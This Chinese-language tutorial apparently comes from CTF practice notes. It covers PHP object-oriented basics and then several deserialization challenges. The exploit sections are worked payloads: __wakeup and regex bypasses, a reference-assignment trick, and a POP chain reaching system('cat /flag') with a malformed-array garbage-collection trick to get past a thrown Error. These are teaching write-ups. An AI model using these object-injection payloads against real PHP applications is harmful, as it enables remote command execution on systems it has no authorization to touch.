PHP面向对象以及反序列化基础练习

PHP面向对象以及反序列化基础练习相关内容

PHP面向对象

一些理论

Q: 什么时面向对象

A: 在面向过程的方式中,主要侧重于完成任务所经历的每一个步骤,将这些步骤定义成函数后,依次调用来完成整个任务

例如:老师布置作业();-学生写作业();学生交作业();老师批改作业();老师公布学生成绩();

面向对象则是一种更符合人类思维习惯的编程思想,它分析现实生活中存在的各种形态不同的事物,通过程序中的对象来映射现实中的事物。这些事物之间存在着各种各样的联系,使用对象的关系来描述事物之间的联系。

使用面向对象思想修改前面的程序,具体如下

老师对象: 布置作业、批改作业、公布学生成绩
学生对象: 写作业、交作业

面向对象思想力图使程序对事物的描述与该事物在现实中的形态保持一致。为了做到这一点,面向对象思想提出了两个概念,即类和对象。

类是对象的模板,对象是类的实例。

• 类表示一个客观世界的某类群体,类中包含该类群体的一些基本特征。

• 对象表示该类群体中一个具体的东西,对象是以类为模板创建的具体事物,也就是类的实例。

类的定义

在PHP中,类时使用class关键字定义的,类中有属性(成员变量)方法(成员函数)

属性用于描述对象的特征

方法用于描述对象的行为

class 类名{
	... //属性列表
	... //方法列表
}

类中的规则

  1. 类名不区分大小写
  1. 推荐使用大驼峰命名法,即首字母大写
  2. 类名要做到见名知义
  3. 通常,属性声明放到方法声明之前,从语法角度看,先后顺序并不重要。类中可以没有任何成员,也可以只有属性成员或方法成员

访问控制符

public(都可访问),protected(类外不可访问),private(子类和类外不可访问)

类的实例化

PHP中使用new关键字创建对象

$对象名 = new 类名([参数1,参数2, ...]);

访问成员类

-> 对象运算符

作用:访问一个对象里面的属性(变量)或者方法(函数)

你可以把它理解成中文里的 「的」

  • 对象->属性 = 对象的属性
  • 对象->方法() = 对象的方法
  • $this->方法() = 当前对象的方法

魔术方法

魔术方法 触发时机
:------------- :-----------------------------------------------------------
__construct() 每次创建新对象时先调用此方法
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据或者不存在这个键时调用此方法
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset() 或 empty() 时触发
__unset() 在不可访问的属性上使用 unset() 时触发
__sleep() 执行 serialize() 时,先会调用这个函数
__wakeup() 执行 unserialize() 时,先会调用这个函数
__toString() 把类当作字符串使用时触发
__invoke() 当尝试将对象调用为函数时触发
__clone() 对象被克隆时触发
__debugInfo() 打印 var_dump() 时被调用,允许对象通过 var_dump() 打印其私有信息

类的定义和调用练习

1、写一个类:Human

2、Human 类包含 2 个 public 属性:\$name, \$sex 1 个 private 属性:\$age

3、给这个 Human 类一个公共构造方法:__construct (\$name, \$sex, \$age)

包含初始化代码。

4、给 Human 写一个公共方法,方法名字为 sayHi (), 方法内部能打印一句话,介绍自己的姓名和年龄。

5、创建一个对象,变量名为zs=new Human(张三,男,21); 创建一个对象,变量名为sx=new Human (' 书香 ', ' 女 ',21);

6、调用的方法;调用sx 的 sayHi () 方法。

新建一个 php 文件,叫 human.php

<?php
class Human{
    public $name;
    public $sex;
    private $age;
    function __construct($name,$sex,$age){
        $this->name=$name;
        $this->sex=$sex;
        $this->age=$age;
    }
    function sayHi(){
        return "I am" . $this->name . "sex is" . $this->sex . ", age is " . $this->age . "\n";
    }
}
$zx=new Human('张三','男',21);
$sx=new Human('书香','女',21);
echo $zx->sayHi();
echo $sx->sayHi();

序列化与反序列化

serialize()

unserialize()

__wakeup

image-20260605085317137

image-20260605085334610

两个属性,$username和\$password,对应的要等于指定的值才会输出flag。但是只要执行了反序列化,username字段会被替换成guest,导致不生效,此时将序列化属性数改为非当前属性数即可,例如:这个类中有两个属性,将2改成3即可

<?php
class Name{
    public $username;
    public $password;
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }}
echo serialize(new Name('admin','8888888'));

得到payload

O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"8888888";}
// 修改属性数量
O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";s:7:"8888888";}

image-20260605090233152

image-20260605090323114

进制绕过

image-20260605091747282

image-20260605091809356

Test中有一个属性,当username为admin的时候,输出flag,但是有字符串查找,如果有username就输出nonono

通过转换为16进制绕过这个preg_match

<?php
class Test {
    public $username;
    public function __construct($username) {
        $this->username = $username;
    }
}
echo serialize(new Test('admin')); 

//进制转换
$hex = bin2hex("username");
$arr = str_split($hex, 2);
echo implode("\\", $arr);

最终payload

?data=O:4:"Test":1:{S:8:"\75\73\65\72\6E\61\6D\65";s:5:"admin";}

image-20260605093323365

image-20260605093342720

正则绕过

image-20260605093611531

image-20260605093631914

依旧是相同的判断,但是这个字符串查找改为了序列化字符串的查找

思路:将\d数字前加上+,+4=4,对+进行url编码后得到最终payload

?data=O:%2b4:"Test":1:{s:8:"username";s:5:"admin";}

image-20260605100207994

image-20260605100231386

引用绕过

image-20260612092613867

image-20260612092635969

漏洞点: a是随机赋值,并且要求a和b严格相等,正常情况下是绝对不可能相等的,如果$b直接引用\$a的内存地址,执行\$this->a=uniqid()时,\$b会变成一样的,这叫引用赋值绕过

<?php
class Test {
    public $a;
    public $b;
}
$obj = new Test();
// 核心:让 $b 引用 $a
$obj->a = 1;
$obj->b = &$obj->a;  // 重点!取地址符 &
echo serialize($obj);

最终payload

?data=O:4:"Test":2:{s:1:"a";i:1;s:1:"b";R:2;}

image-20260612092705079

image-20260612092734096

异常绕过

image-20260612092758843

image-20260612092814334

这是一个非常典型的 PHP 反序列化漏洞 POP 链构造题。题目最后的难点在于:代码在反序列化后直接抛出了一个异常 throw new Error("NoNoNo");,导致程序中途崩溃,从而阻止了常规依靠对象销毁(__destruct)来触发的 POP 链

要解决这个问题,我们需要做两件事:

  1. 构造恶意的 POP 链达到 eval() 任意代码执行。
  2. 绕过 throw new Error,让垃圾回收机制(GC)提前销毁对象以触发 __destruct

POP链分析与构造

我们的终极目标是调用 JJ::evil() 或者直接利用 MM::__invoke() 中的 ($this->name)($this->c)(这可以直接演变成执行类似 system('whoami') 的命令)。

利用第二种更为直接:MM 类的 __invoke() 方法可以执行 ($this->name)($this->c)。如果我们让 $name = 'system'$c = 'cat /flag',就能直接执行命令。

链条串联流程:

  1. 起点 TT::__destruct():程序销毁 TT 对象时,会调用 echo $this->key;
  2. 跳板一 JJ::toString():如果我们将 TT$key 赋值为 JJ 类的实例,当 echo 尝试把 JJ 对象当成字符串输出时,就会触发 JJ::toString()
  3. 跳板二 MM::invoke():在 JJ::toString() 中,有一句 ($this->obj)();。如果我们把 JJ$obj 赋值为 MM 类的实例,以函数形式调用一个对象,就会触发 MM::__invoke()
  4. 终点 MM::__invoke():执行 ($this->name)($this->c)

链条关系:

TT::destruct() $\rightarrow$ JJ::toString() $\rightarrow$ MM::__invoke() $\rightarrow$ 任意命令执行

核心难点:怎么绕过 throw new Error

在正常情况下,反序列化得到的对象会在整个脚本执行结束时才进行销毁。但在本题中,脚本还没结束就直接 throw new Error 中断了,导致普通的反序列化链根本走不到 __destruct 这一步。

绕过原理:PHP 垃圾回收机制(GC)

PHP 采用引用计数来管理内存。如果一个对象在反序列化数组(或属性)中,其对应的键名(Key)或索引被故意破坏或覆盖,导致它的引用计数归零,PHP 的垃圾回收机制就会立刻在内存中销毁这个对象,从而在 throw new Error 执行之前就提前触发 __destruct()

常见的绕过手法是:将对象放入一个数组中,并利用反序列化字符串的特性,通过改变数组的元素数量使用相同的键名来引发序列化错误的判断,强行清空引用。

最简单稳定的做法是:将对象作为数组的第一个元素,但在序列化字符串中,故意让数组的成员数量报错,或者让其提前结束。 甚至直接利用快速销毁(如将数组的键指向同一个对象,破坏结构)。

这里提供一个最经典也是最通用的数组结构破坏法

包裹一个数组 a:[2:{i:0;O:2:"TT":... i:0;i:0;}](让第二个元素的键名也是 i:0,去覆盖它,或者直接少写一个元素导致反序列化报错,触发销毁)。

三、 Payload 构造脚本

在本地运行以下 PHP 脚本来生成所需要的 Payload:

PHP

<?php
class TT{
    public $key;
    public $c;
}

class JJ{
    public $obj;
}

class MM{
    public $name;
    public $c;
}

// 1. 构造正常的 POP 链
$mm = new MM();
$mm->name = "system";  // 想要执行的系统函数
$mm->c = "cat /flag";  // 想要执行的命令

$jj = new JJ();
$jj->obj = $mm;        // 触发 MM::__invoke

$tt = new TT();
$tt->key = $jj;        // 触发 JJ::__toString

// 2. 将恶意对象放入数组中
$a = array($tt);
$ser = serialize($a);

// 正常的序列化结果一般是:a:1:{i:0;O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{...}s:1:"c";N;}}
// 3. 绕过 throw new Error:将 a:1 变成 a:2,但是后面不给第二个元素。
// 这样反序列化在遇到不完整的数组时会报错,从而提前销毁已经生成的 index 0 (即我们的 TT 对象)
$ser = str_replace('a:1:{', 'a:2:{', $ser);

echo urlencode($ser);
?>

最终生成的 Payload 样式示例:

Plaintext

a%3A2%3A%7Bi%3A0%3BO%3A2%3A%22TT%22%3A2%3A%7Bs%3A3%3A%22key%22%3BO%3A2%3A%22JJ%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A2%3A%22MM%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22c%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A1%3A%22c%22%3BN%3B%7D%7D

将该字符串传参给 ?bbb= 即可成功绕过 Error 抛出,直接拿到 Flag。

image-20260612093316191

image-20260612093346978

文章评论